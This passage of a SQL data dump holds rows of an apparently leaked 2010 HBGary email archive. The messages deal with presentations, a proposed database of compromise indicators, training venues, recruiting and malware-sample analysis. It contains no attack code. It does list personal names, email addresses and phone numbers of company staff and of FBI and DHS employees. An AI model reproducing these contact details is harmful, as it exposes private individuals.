detects botnet traffic from your residence. Of course, if you have multiple machines running behind a router or modem then you&#39;re going to have a difficult time pinning down which machine might have the infection.&quot;\r\n\r\n \r\n\r\nRead more of this story at Slashdot.\r\n\r\n\r\nSent from my iPad\r\n\r\n',11757,'aaron_hbgary_com/11757.html'),(12674,'2010-10-05','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','/aaron@hbgary.com/new/1297009348.M211575P14101Q7530.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: HB Gary Presentation','Thanks Aaron,\r\n\r\nI will not be able to attend.  Thank You,\r\n\r\nChris\r\n\r\n\r\nSSA Christopher A. Geary\r\nCERT/CC Liaison\r\n3238 CIC\r\nPittsburgh, PA 15213\r\n\r\n(412) 268-9244\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Monday, October 04, 2010 4:55 PM\r\nTo: Jones, William A. IV; Geary, Christopher A.; Delecki, Zachary\r\nSubject: Re: HB Gary Presentation\r\n\r\nHey Guys,\r\n\r\nWanted to let you know about a presentation I will be giving at Palantir\'s GovCon6 on Threat Intelligence using our TMC and Palantir on Oct. 12th.  If your interested please register @ http://govcon.eventbrite.com/\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',15705,'aaron_hbgary_com/15705.html'),(12675,'2010-10-05','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009348.M469803P14101Q7531.eml','\"Pipal, Kurt\" <Kurt.Pipal@ic.fbi.gov>,\"Maughan, Douglas\" <Douglas.Maughan@dhs.gov>,\"Pipal, Kurt\" <Kurt.Pipal@ic.fbi.gov>,\"Maughan, Douglas\" <Douglas.Maughan@dhs.gov>,','QUestion for You','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe want to create an industry consortium which would include\r\npublic and private entities to create &nbsp;Symptoms of Compromise\r\nDatabase.&nbsp; Mandiant has open IOC&#8217;s but they never share the good\r\nstuff and it&#8217;s associated with a vendor, which really isn&#8217;t\r\nbeneficial to the community since it&#8217;s vendor specific. In order to make\r\nthis really work, you need more than one company or organization.&nbsp; &nbsp;&nbsp;We\r\nwanted to know if perhaps Kurt, your new group would sponsor something like\r\nthis.&nbsp; I&#8217;m copying Doug Maughan over at DHS, S&amp;T and Brain\r\n(since he was the reason we all met)&nbsp; I have customers who also want to be\r\npart of this, one is over at L-3 and some in banking etc.&nbsp; So, what are\r\nyour thoughts?&nbsp; I think it would work more like a standard, where you have\r\nBirds of a Feather and bring in various participants like McAFee, Cisco etc and\r\nI could help with this as well.&nbsp; (get you in touch with the right\r\npeople)&nbsp; We could even make it a separate organization funded by a grant\r\nperhaps (hence Doug&#8217;s group)&nbsp; \r\n\r\n&nbsp;\r\n\r\nThoughts?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10300,'aaron_hbgary_com/10300.html'),(12676,'2010-10-05','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297009348.M691462P14101Q7532.eml','aaron@hbgary.com','DEPSECDEF to Keynote USSTRATCOM Space Symposium','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		  \r\n	\r\n		\r\n          2010 USSTRATCOM Space Symposium\r\n          \"Conducting Military Space Operations - Advancing from Today to Tomorrow\"\r\n          November 2-3, 2010 \r\n          Qwest Center, Omaha NE \r\n          Co-sponsored by AFCEA International and the U.S. Strategic Command \r\n          The USSTRATCOM Space Symposium offers space and defense professionals an unparalleled opportunity for education, interactive discussion and exposure to the latest space operations technologies. Co-sponsored by the United States Strategic Command and AFCEA International, the event is expected to attract more than 1,000 government officials, military leaders, top industry executives, exhibitors, educators and students.\r\n          \r\n            \r\n              Price rollback for nonmember industry!&nbsp; Click here to see the new rates. \r\n            \r\n                    Click here to register\r\n          \r\n          Just announced! Keynote Address:\r\n          \r\n            \r\n              \r\n              The Honorable William Lynn III \r\n              Deputy Secretary of Defense \r\n            \r\n          \r\n          &nbsp;\r\n          Featured Speakers Include\r\n          \r\n            The Honorable Dave Heineman,          Governor, State of Nebraska\r\n            Gen Kevin P. Chilton, USAF, Commander, USSTRATCOM\r\n            Lt Gen Larry D. James, USAF, \r\n              Commander, \r\n    Joint Functional Component Command for Space \r\n            Mr. Frank Rose, Deputy Assistant Secretary for Defense Policy and Verification Operations, U.S. Department of State\r\n            \r\n                      \r\n          Panel Sessions\r\n          \r\n            Space Situational Awareness - Debris Management and Mitigation Strategies\r\n            Space Acquisition - Delivering On-time Capability to the Fight &nbsp;\r\n            Modeling and Simulation for Operational Training and Analysis \r\n            Opportunities to Expand International Collaboration &ndash; Moving Forward Together in Partnership\r\n            Leaders in Industry - Building Robust Commercial Space Industries\r\n                \r\n                \r\n            \r\n            \r\n          Exhibition\r\nDefense contractors and government agencies will showcase the latest products and solutions for space situational awareness, satellite communications, global information grid, and other space-related challenges. \r\n          &nbsp;          \r\n          Academic Session: \"Endless Horizons: The Sun Never Sets in Space\" \r\n          This session will engage local high school juniors and seniors, college students, and faculty and will encourage the study and pursuit of careers in space. \r\n          &nbsp;\r\n          Young Space Professional: \"Space Professionals from Today to Tomorrow\"\r\n           This session will engage young space professionals in the Department of Defense, U.S. government, and the private sector. \r\n          &nbsp;\r\n          For more information on the conference and to register - please visit http://www.afcea.org/events/spacesymposium\r\n            \r\n            \r\n          Registration Information - please contact J. Spargo &amp; Associates \r\n                        \r\n      \r\n              Exhibit Information - please contact J. Spargo & Associates\r\n              Patron/Sponsor Information - please contact Gina McGovern\r\nProgram Information - please contact Terry Rogers \r\n\r\n          \r\n              We look forward to seeing you in Omaha!\r\n          \r\nConnect with Us!\r\n          Facebook\r\n          Twitter: #stratspace10  \r\n          \r\n            \r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	  \r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n',13832,'aaron_hbgary_com/13832.html'),(12677,'2010-10-05','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009348.M7174P14101Q7529.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','who do you know at SAIC that can help me?','Aaron / TedWho do you know at SAIC that can help me with Commercial   -- Bill Salazar is trying to help me but he isn&#39;t so far...-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n',4241,'aaron_hbgary_com/4241.html'),(12678,'2010-10-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009348.M906810P14101Q7533.eml','\"Masterson Brian\" <Brian.Masterson@ngc.com>,\"Masterson Brian\" <Brian.Masterson@ngc.com>','Malware samples','Hi Brian,\r\n\r\nWe are running the samples you sent us through TMC. We intend to\r\npublish our analysis and results on our website and possibly other\r\nvenues.\r\n\r\nWe will not release the malware or source.\r\n\r\nIs this ok? Are there any limitations regarding the disclosure of the\r\nsamples or derivative analysis I should know about?\r\n\r\nTed\r\n',4864,'aaron_hbgary_com/4864.html'),(12679,'2010-10-05','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009349.M119333P14101Q7534.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Karen Burke\" <karen@hbgary.com>','Training Blackhat DC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFor Social Media.&nbsp; You should submit\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5591,'aaron_hbgary_com/5591.html'),(12680,'2010-10-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009349.M381158P14101Q7535.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"MarkTrynor\" <mark@hbgary.com>','Fwd: Training Blackhat DC','Mark recommends offering the training through geekcruises.com too. Seriously check it out. I think you&#39;d like it. \r\nBegin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;Date: October 5, 2010 5:43:22 PM MDT\r\nTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;, &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;, &quot;&#39;Karen Burke&#39;&quot; &lt;karen@hbgary.com&gt;\r\nSubject: Training Blackhat DC\r\n\r\n\r\n\r\nFor Social Media.  You should submit\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4062,'aaron_hbgary_com/4062.html'),(12681,'2010-10-06','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009349.M618473P14101Q7536.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: for example, ithome','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYeah, let&#8217;s get together tomorrow &#8211; if you&#8217;re available, it\r\nlooks like I&#8217;ll be in the office all day. The presentation dry run went well\r\ntoday; Geoff suggested we switch the &#8220;threat analyst&#8221; and &#8220;incident responder&#8221;\r\nworkflows around.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, October 04, 2010 7:16 PM\r\nTo: Aaron Zollman\r\nSubject: Fwd: for example, ithome\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOne of the searches using some of the words from the\r\nworkspace. &nbsp;We can do these in realtime. &nbsp;Maybe we should get\r\ntogether on Wednesday to work through this?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nGreg\r\nHoglund &lt;greg@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nOctober\r\n4, 2010 7:07:34 PM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nAaron\r\nBarr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nfor example, ithome\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.google.com/#sclient=psy&amp;hl=en&amp;q=stoneck+ithome.com&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=fdfb9c54bdf6e14b\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14099,'aaron_hbgary_com/14099.html'),(12682,'2010-10-05','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297009349.M840120P14101Q7537.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - CyberNexus Presentation','October 5, 2010 4:00 PM : CyberNexus Presentation \r\n',6103,'aaron_hbgary_com/6103.html'),(12683,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009350.M111226P14101Q7538.eml','\"Aaron Zollman\" <azollman@palantir.com>','Re: for example, ithome','ok sounds good. &nbsp;My SM presentation are done, went well. &nbsp;I have a 1030 in Rosslyn but other than that I am available. &nbsp;Can I head to your facility after my 1030?See you tomorrow.AaronOn Oct 5, 2010, at 9:43 PM, Aaron Zollman wrote:Yeah, let’s get together tomorrow – if you’re available, it looks like I’ll be in the office all day. The presentation dry run went well today; Geoff suggested we switch the “threat analyst” and “incident responder” workflows around.&nbsp;&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantir.com&nbsp;| 202-684-8066&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 7:16 PMTo:&nbsp;Aaron ZollmanSubject:&nbsp;Fwd: for example, ithome&nbsp;One of the searches using some of the words from the workspace. &nbsp;We can do these in realtime. &nbsp;Maybe we should get together on Wednesday to work through this?&nbsp;Aaron&nbsp;Begin forwarded message:From:&nbsp;Greg Hoglund &lt;greg@hbgary.com&gt;Date:&nbsp;October 4, 2010 7:07:34 PM EDTTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Subject: for example, ithome&nbsp;&nbsp;http://www.google.com/#sclient=psy&amp;hl=en&amp;q=stoneck+ithome.com&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=fdfb9c54bdf6e14b&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal, LLC719.510.8478&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',6405,'aaron_hbgary_com/6405.html'),(12684,'2010-10-06','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009350.M373119P14101Q7539.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: for example, ithome','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSounds good. See you then.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, October 05, 2010 9:53 PM\r\nTo: Aaron Zollman\r\nSubject: Re: for example, ithome\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok sounds good. &nbsp;My SM presentation are done, went\r\nwell. &nbsp;I have a 1030 in Rosslyn but other than that I am available.\r\n&nbsp;Can I head to your facility after my 1030?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSee you tomorrow.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 5, 2010, at 9:43 PM, Aaron Zollman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYeah, let&#8217;s get together tomorrow &#8211; if you&#8217;re available, it\r\nlooks like I&#8217;ll be in the office all day. The presentation dry run went well\r\ntoday; Geoff suggested we switch the &#8220;threat analyst&#8221; and &#8220;incident responder&#8221;\r\nworkflows around.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com&nbsp;| 202-684-8066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 7:16 PM\r\nTo:&nbsp;Aaron Zollman\r\nSubject:&nbsp;Fwd: for example,\r\nithome\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOne of the searches using some of the words from the\r\nworkspace. &nbsp;We can do these in realtime. &nbsp;Maybe we should get\r\ntogether on Wednesday to work through this?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Greg Hoglund &lt;greg@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;October 4, 2010 7:07:34 PM EDT\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nfor example, ithome\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.google.com/#sclient=psy&amp;hl=en&amp;q=stoneck+ithome.com&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=fdfb9c54bdf6e14b\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16656,'aaron_hbgary_com/16656.html'),(12685,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009350.M856709P14101Q7540.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Training Blackhat DC','It looks closed. :( &nbsp;That is a good idea though. &nbsp;I need to look for other training venues.On Oct 5, 2010, at 7:43 PM, Penny Leavy-Hoglund wrote:For Social Media.&nbsp; You should submit&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',9294,'aaron_hbgary_com/9294.html'),(12686,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009351.M246541P14101Q7541.eml','\"Scott W. Sheldon\" <SCOTT.W.SHELDON@saic.com>','Social Media','Hi Scott,\r\n\r\nThanks for including me again as a presenter for the cybernexus group.  While I am passionate about malware and threat intelligence, social media is really my sweet spot, so I enjoy talking to people about it.\r\n\r\nI wanted to mention that I have recently been approached by five stellar malware analysis, forensics, and incident response people.  They are very interested to come work for HBGary Federal but I don\'t have any contracts right now to place them so I am letting a few people know that work in this space that I have them and if there is any interest in looking at resumes to please let me know.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',12677,'aaron_hbgary_com/12677.html'),(12687,'2010-10-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009351.M507518P14101Q7542.eml','\"Patrick B Simpson\" <Patrick.Simpson@ManTech.com>,\"Jeremy R Gage\" <jeremy.gage@mantech.com>','Candidates','Hey Guys,\r\n\r\nChecking on availability.  I have recently been approached by five stellar candidates in malware analysis, forensics.  I am verifying specific clearances but wanted to check with you immediately to see if you even had any opportunities for good candidates.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',2951,'aaron_hbgary_com/2951.html'),(12688,'2010-10-06','\"Maughan, Douglas\" <Douglas.Maughan@dhs.gov>','/aaron@hbgary.com/new/1297009351.M737015P14101Q7543.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Pipal, Kurt\" <Kurt.Pipal@ic.fbi.gov>,\"Maughan, Douglas\" <Douglas.Maughan@dhs.gov>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Pipal, Kurt\" <Kurt.Pipal@ic.fbi.gov>,\"Maughan, Douglas\" <Douglas.Maughan@dhs.gov>','RE: Question for You','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg mentioned it to me briefly\r\ntoday. \r\n\r\n&nbsp;\r\n\r\nAt the 10,000 foot level it\r\nseems like a good idea, but you know me &#8230; I don&#8217;t stay at the 10,000\r\nfoot level very long. You&#8217;ve got to get down at the ground level, which\r\nincludes discussions about business plans, long-term funding, legal issues, public\r\nAND private, etc., etc. All topics that need to be discussed, written down, and\r\ncirculated around some subset of the community working in the malware space. Sorry\r\nto be somewhat of a rain cloud on your idea, but if we&#8217;re going to do\r\nsomething like this, then it&#8217;s going to require lots of upfront work to\r\nmake it sustainable.\r\n\r\n&nbsp;\r\n\r\nDoug\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Tuesday, October 05, 2010 5:22 PM\r\nTo: \'Pipal, Kurt\'; \'Maughan, Douglas\'\r\nCc: brian.buckley@ic.fbi.gov; \'Greg Hoglund\'; \'Aaron Barr\'\r\nSubject: QUestion for You\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWe want to create an industry consortium which would include\r\npublic and private entities to create &nbsp;Symptoms of Compromise\r\nDatabase.&nbsp; Mandiant has open IOC&#8217;s but they never share the good\r\nstuff and it&#8217;s associated with a vendor, which really isn&#8217;t\r\nbeneficial to the community since it&#8217;s vendor specific. In order to make\r\nthis really work, you need more than one company or organization.&nbsp;\r\n&nbsp;&nbsp;We wanted to know if perhaps Kurt, your new group would sponsor\r\nsomething like this.&nbsp; I&#8217;m copying Doug Maughan over at DHS, S&amp;T\r\nand Brain (since he was the reason we all met)&nbsp; I have customers who also\r\nwant to be part of this, one is over at L-3 and some in banking etc.&nbsp; So,\r\nwhat are your thoughts?&nbsp; I think it would work more like a standard, where\r\nyou have Birds of a Feather and bring in various participants like McAFee,\r\nCisco etc and I could help with this as well.&nbsp; (get you in touch with the\r\nright people)&nbsp; We could even make it a separate organization funded by a\r\ngrant perhaps (hence Doug&#8217;s group)&nbsp; \r\n\r\n&nbsp;\r\n\r\nThoughts?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12026,'aaron_hbgary_com/12026.html'),(12689,'2010-10-06','arc@westfields.net','/aaron@hbgary.com/new/1297009352.M240537P14101Q7545.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Tuesday, 10/05/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nTALOS (Announcement & Document Posting)\r\n\r\nNRO-Caprica (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { 